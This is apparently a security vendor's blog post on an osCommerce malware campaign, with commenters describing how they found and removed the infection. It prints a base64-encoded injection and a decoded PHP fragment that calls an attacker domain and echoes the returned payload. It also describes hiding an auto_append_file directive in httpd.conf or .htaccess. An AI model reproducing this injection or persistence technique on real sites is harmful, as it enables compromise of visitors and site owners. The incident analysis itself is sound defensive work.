Malware update: inininininininin.in (and oscommerce)

Quick malware update: We are seeing many osCommerce sites infected with malware managed by inininininininin.in, comcomcomcomcomcom.com and a few others. All the domains involved are hosted at 91.204.48.45.

These domains were registered by myid37@gmail.com, which is also involved on other malicious activities (serials-keys.com, wincrack.org, search-crack.org,etc).

The infected sites had a large encoded entry added to the file includes/header.php:

echo(base64_decode(“ZnVuY3Rpb24gczM3KCRzKXtmb3IgKCRhID0gMDsgJGEgPD…

Which when decoded, calls http://inininininininin.in/in.php to get what malware to present to the end user:

$url = @file_get_contents($h37.”:”.”//”.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.”.
$c37/”.$c37.”.ph”.”p?”.”i=”.$_SERVER[“REMOTE_ADDR”].”&b=”.urlencode($ua3).”&h=”.
urlencode($_SERVER[“HTTP_HOST”]));if (strstr($url,”!go!”)){$url = explode(“!go!”,$url); $url =
$url[1];echo $url;}

Some details here as well: http://sucuri.net/malware/entry/MW:JS:431

Having issues with malware? Sign up at http://sucuri.net and we will get it all sorted out.

OK, for those of you struggling to track this down. We had a oscommerce installation on our shared server. We were freaked out that all sites on the server were getting virus alerts. We spent an entire day scanning each site that were were getting reported back to us. We found no adjustments to code, no base64decode, no eval, nothing. Not even any changed files in the last 30 days. We then noted at (http://www.whitefirdesign.com/resources/comcomcomcomcomcomcom-oscommerce-malware-hack.html) that the infultration can attach itself to php.ini. We did note that the only affected sites were php sites. We looked at php.ini and did not find an auto_append_file. We then did a php_info() and found that there was a auto_append_file being executed. The php_info gave us the direct path to the file /tmp/sys.php. The hacker had put the code file there. Where was the auto_append_file though? We looked in /etc/php.d.. nothing. So we grepped /etc/ for “auto_append_file’ .. We found it in httpd.conf. It was php_value auto_append_file /tmp/sys.php. So instead of putting it in php.ini, it was put in http.conf. If it affects all sites on the server, it has to be in php.ini, /etc/php.d/, or one of the httpd.conf files or an include thereof.
Good look to anyone tracking this down. We also found it helpful to use TSHARK to find what sites were getting hit. The following commands helped us see exactly when and what sites were getting hit:

/usr/sbin/tshark -f “src host our.ip.add.rs and port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420”

Basically that let us see GET requests going from our server.

/usr/sbin/tshark -f “src host 91.204.48.45 and port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420”

We found the above IP was where our server was sending the checks to retrieve the malicious code.
Then the above command let us sniff the responses. Low and behold we were seeing the infection coming back for some responses.

So again, we used the method described above to track down and eliminate the infection.

5 comments

Pingback: Tweets that mention Malware update: inininininininin.in (and oscommerce) | Sucuri -- Topsy.com
Pingback: Weekly malware update – 2010/Jan/14 | Sucuri
Jase Clamp says:
February 5, 2011 at 3:20 am
OK, for those of you struggling to track this down. We had a oscommerce installation on our shared server. We were freaked out that all sites on the server were getting virus alerts. We spent an entire day scanning each site that were were getting reported back to us. We found no adjustments to code, no base64decode, no eval, nothing. Not even any changed files in the last 30 days. We then noted at (http://www.whitefirdesign.com/resources/comcomcomcomcomcomcom-oscommerce-malware-hack.html) that the infultration can attach itself to php.ini. We did note that the only affected sites were php sites. We looked at php.ini and did not find an auto_append_file. We then did a php_info() and found that there was a auto_append_file being executed. The php_info gave us the direct path to the file /tmp/sys.php. The hacker had put the code file there. Where was the auto_append_file though? We looked in /etc/php.d.. nothing. So we grepped /etc/ for “auto_append_file’ .. We found it in httpd.conf. It was php_value auto_append_file /tmp/sys.php. So instead of putting it in php.ini, it was put in http.conf. If it affects all sites on the server, it has to be in php.ini, /etc/php.d/, or one of the httpd.conf files or an include thereof.
Good look to anyone tracking this down. We also found it helpful to use TSHARK to find what sites were getting hit. The following commands helped us see exactly when and what sites were getting hit:
/usr/sbin/tshark -f “src host our.ip.add.rs and port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420”
Basically that let us see GET requests going from our server.
/usr/sbin/tshark -f “src host 91.204.48.45 and port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420”
We found the above IP was where our server was sending the checks to retrieve the malicious code.
Then the above command let us sniff the responses. Low and behold we were seeing the infection coming back for some responses.
So again, we used the method described above to track down and eliminate the infection.
1. Grateful says:
  September 10, 2011 at 10:00 am
  Thank you!!! My god, the same thing happened to my wordpress site — there was an .htaccess directive (in the root of the webserver) doing an auto_append_file to a Thumbs.db file (not an image file as on windows, a text fiel with the @eval:disqus (decode_base64(….
  I’ve finally tracked it down, thanks!
David W Harrington says:
September 14, 2011 at 4:28 pm
Hey, I have a WordPress site and I was using a temporary computer that ended up having undected viruses on it. Long story short, I got MW:JS:431 problems on my site after ftping in.
In addition to loading a fresh installation of WordPress, clearing the infected files, and deleting all of my cache, I noticed that my main .htaccess file had a reference to a thumbs.db file.
php_value auto_append_file /var/www/vhosts/mysite.org/httpdocs/Thumbs.db
That thumbs.db file, of course contained the backdoor to let this Malware in using an echo(base64 … code like the one above.